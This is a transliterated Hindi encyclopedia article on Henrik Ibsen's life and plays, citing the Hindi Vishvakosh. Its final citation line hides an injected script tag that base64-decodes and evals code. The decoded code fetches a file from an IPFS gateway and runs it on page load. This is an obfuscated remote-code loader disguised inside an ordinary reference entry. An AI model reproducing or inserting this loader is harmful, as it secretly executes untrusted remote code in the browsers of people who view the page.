इब्सन हेनरिक
ibsan, henarik jab narve mean natak ka prachalan pray: nahian ke barabar tha, ibsan (1828-1906) ne apane natakoan dvara aantararashtriy khyati prapt ki aur sh aau jaise mahanh natakakaroan tak ko prabhavit kiya. pita ke divaliya ho jane ke karan apaka praranbhik jivan garibi mean bita. shuroo se hi ap b de hathi aur vidrohi svabhav ke the. apane yug ke sankirn vicharoan ka apane ajivan virodh kiya.
apaka pahala natak 'kaitilain' 1850 mean osaloan mean prakashit hua jahaan ap daktari padhane ge hue the. kuchh samay bad hi apaki ruchi daktari se hatakar darshan aur sahity ki or ho gee. agale 11 varshoan tak rangamanch se apaka ghanishth sanpark, pahale prabandhak aur phir nirdeshak ke roop mean raha. is sanpark ke karan age chalakar apako natyarachana mean vishesh sahayata mili.
apane desh ke pratikool sahityik vatavaran se khinn hokar ap 1864 mean rom chale ge jahaan do varsh pashchath apane 'braid' ki rachana ki jisamean tatkalin samaj ki atmasantosh ki bhavana evan adhyatmik shoonyata par prahar kiya gaya hai. yah natak atyant lokrapiy hua. parantu apaka agala natak 'pichar giant' (1867), jo charitrachitran tatha kavitvapoorn kalpana ki drishti se atyant utkrisht hai, isase bhi adhik saphal raha.
isake bad ke yatharthavadi natakoan mean apane pady ka bahishkar karake ek nee shaili ko apanaya. in natakoan mean patroan ke aantardvandv tatha bahm kriyakalap donoan ka bolachal ki bhasha mean atyant vastavik chitran kiya gaya hai. 'pilars aauv sosaiti' (1877) mean apake agami adhikaansh natakoan ki vishayavastu ka sootrapat hua. pray: sabhi natakoan mean apaka uddeshy yah dikhalana raha hai ki adhunik samaj moolat: jhootha hai aur kuchh asaty paranparaoan par hi usaka jivan nirbhar hai. jin batoan se usaka yah jhooth prakat hone ka bhay hota hai unhean dabane ki vah sadaiv cheshta kiya karata hai. 'e d aauls haoos' (1879) aur 'gosts' (1881) ne samaj mean b di halachal macha di. 'e d aauls haus' mean, jisaka prabhav sh aau ke 'kaiandida mean spasht hai ,ibsan ne narisvatanthhray tatha jagriti ka samarthan kiya. gosts' mean apane yaun rogoan ko apana vishay banaya. in natakoan ki sarvatr nianda huee . in alochanaoan ke pratyuttar mean 'enimiz aauv d pipul' (1882) ki rachana huee jisamean vicharashoony 'sangathit bahumat' ('kapaikt mejariti') ki k di alochana ki gee hai. 'd vaild dak' (1884) ek lakshanik kavyanatika hai jisamean apane manav bhraantiyoan evan adarsho ka vishleshan karake yah pratipadit kiya hai ki satyavadita sadharanataya manav jati ke saukhy ki vidhayak hoti hai. 'romarasham' (1886) tatha 'heda gaiblar' (1890) mean apane narisvatanthhray ka pun: pratipadan kiya. heda ka charitrachitran ibsan ke natakoan mean sarvashreshth hai. 'd mastar bildar' (1892) aur 'hven vi ded aveken' (1899) apake aantim natak haian. lakshanikata tatha atmacharitrik vastu ke atyadhik prayog ke karan inaka poora anand uthana kathin ho jata hai.
ibsan ki visheshata he purani roodhiyoan ka parityag or nee paranparaoan ka vikas. apane apane natakoan mean aise prashnoan par vichar kiya jinhean pahale kabhi naty sahity mean sthan nahian prapt hua tha. anantakalin tatha vishvajanin samasyaoan, arthath vyakti or samaj, tathy aur bhram tatha saty aur asaty adarsh ki paraspar virodhi bhavanaoan par vyakt kie ge vichar hi vishvasahity ko ibsan ki mahanatam den haian.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 533-34 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>